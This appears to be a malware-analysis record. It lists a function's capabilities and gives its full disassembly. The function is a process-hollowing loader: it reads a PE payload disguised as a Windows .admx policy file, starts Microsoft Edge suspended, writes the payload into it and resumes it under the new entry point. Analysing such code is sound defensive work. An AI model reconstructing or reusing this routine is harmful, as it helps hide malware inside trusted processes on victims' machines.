Function at 0x18000a0e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get file size
Read file on windows
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x180166080]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
xor r15d, r15d
lea rcx, str.C:WindowsPolicyDefinitionsWinInitVPN.admx
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000a194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x18000a16e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000a7af
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov rcx, rdi
cmp rax, 0xffffffffffffffff
jne 0x18000a1a6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000a7af
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8d, esi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x18000a1de
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x18000a7af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000a7af
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x18000a7af
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x18000a79b
xorps xmm0, xmm0
mov dword [rbp + 0x460], WSAGetLastError
xor eax, eax
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov dword [rbp + 0x4c4], eax
mov r14d, 1
mov qword [rsp + 0x68], rax
xor r9d, r9d
lea rax, [rsp + 0x58]
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x460]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
movups xmmword [rbp + 0x464], xmm0
movups xmmword [rbp + 0x474], xmm0
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rbp + 0x4b4], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18000a2a6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18000a58f
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
mov qword [rsp + 0x70], r15
cmp dword [rbp + 0x450], r15d
je 0x18000a332
mov r8d, 0x2c8
lea rcx, [rbp - 0x7c]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x24]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x18000a324
mov rdx, qword [rsp + 0x70]
mov eax, dword [rbp + 0x24]
test rdx, rdx
je 0x18000a324
test rax, rax
jne 0x18000a39a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18000a58f
mov r8d, 0x4d0
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 8]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x18000a298
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x18000a298
cmp qword [rbp + 8], r15
je 0x18000a298
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x450]
jne 0x18000a3ba
test eax, eax
je 0x18000a7af
jmp 0x18000a3ca
mov dword [rsp + 0x50], r15d
mov r14d, r15d
test eax, eax
jne 0x18000a7af
movzx esi, word [rcx + rbx + 0x5c]
mov rcx, qword [rsp + 0x58]
test eax, eax
je 0x18000a3df
call fcn.180009880
jmp 0x18000a3e4
call fcn.1800099c0
cmp eax, 0xffffffff
jne 0x18000a3f7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18000a58f
cmp esi, eax
je 0x18000a409
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18000a58f
movsxd rax, dword [rbx + 0x3c]
mov r12d, r15d
mov rdi, rbx
test r14d, r14d
je 0x18000a5d3
cmp dword [rax + rbx + 0xa0], r15d
setne r12b
mov r15d, r12d
test r12d, r12d
jne 0x18000a56c
mov r8d, dword [rbx + rax + 0x50]
lea rsi, [rbx + rax]
mov edx, dword [rsi + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x18000a586
mov r9d, dword [rsi + 0x54]
xor eax, eax
mov rcx, qword [rsp + 0x58]
mov r8, rbx
mov rdx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a586
xor ecx, ecx
mov r14d, ecx
cmp cx, word [rsi + 6]
jae 0x18000a4eb
mov r15d, ecx
nop word [rax + rax]
movzx eax, word [rsi + 0x14]
add rax, r15
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rax + rsi + 0x2c]
mov edx, dword [rax + rsi + 0x24]
add r8, rbx
mov r9d, dword [rax + rsi + 0x28]
add rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a569
movzx eax, word [rsi + 6]
inc r14d
add r15, 0x28
mov ecx, 0
cmp r14d, eax
jl 0x18000a4a0
mov r15d, r12d
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x18000a56c
mov edx, dword [rbp + 0x24]
lea r8, [rsi + 0x34]
mov rcx, qword [rsp + 0x58]
xor eax, eax
add rdx, 8
mov qword [rsp + 0x20], rax
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a56c
mov ecx, dword [rsi + 0x28]
lea rdx, [rbp - 0x80]
add ecx, r13d
mov dword [rbp + 0x30], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x18000a56c
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18000a75d
mov r15d, r12d
test r15d, r15d
je 0x18000a586
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.180009b10
test eax, eax
jne 0x18000a75d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000a5aa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000a7af
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000a7af
cmp dword [rax + rbx + 0xb0], r15d
setne r12b
mov r15d, r12d
test r12d, r12d
jne 0x18000a73f
mov r8d, dword [rbx + rax + 0x50]
lea rsi, [rbx + rax]
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x18000a586
mov r9d, dword [rsi + 0x54]
xor eax, eax
mov rcx, qword [rsp + 0x58]
mov r8, rbx
mov rdx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a586
xor ecx, ecx
mov r14d, ecx
cmp cx, word [rsi + 6]
jae 0x18000a6af
mov dword [rsp + 0x70], r12d
mov r15d, ecx
mov r12d, dword [rsp + 0x50]
nop dword [rax]
movzx eax, word [rsi + 0x14]
add rax, r15
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rax + rsi + 0x2c]
mov edx, dword [rax + rsi + 0x24]
add r8, rbx
mov r9d, dword [rax + rsi + 0x28]
add rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a731
movzx eax, word [rsi + 6]
inc r14d
add r15, 0x28
mov ecx, 0
cmp r14d, eax
jl 0x18000a660
mov r15d, dword [rsp + 0x70]
jmp 0x18000a6b4
mov r12d, dword [rsp + 0x50]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000a736
mov rdx, qword [rbp + 8]
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x58]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a736
mov eax, dword [rsi + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
add rax, r13
mov qword [rbp], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x18000a736
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18000a75d
mov r15d, dword [rsp + 0x70]
test r12d, r12d
jne 0x18000a586
test r15d, r15d
je 0x18000a586
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.180009e00
test eax, eax
je 0x18000a586
cmp rdi, 0xffffffffffffffff
je 0x18000a777
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000a787
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000a797
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18000a7b4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.180115690
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret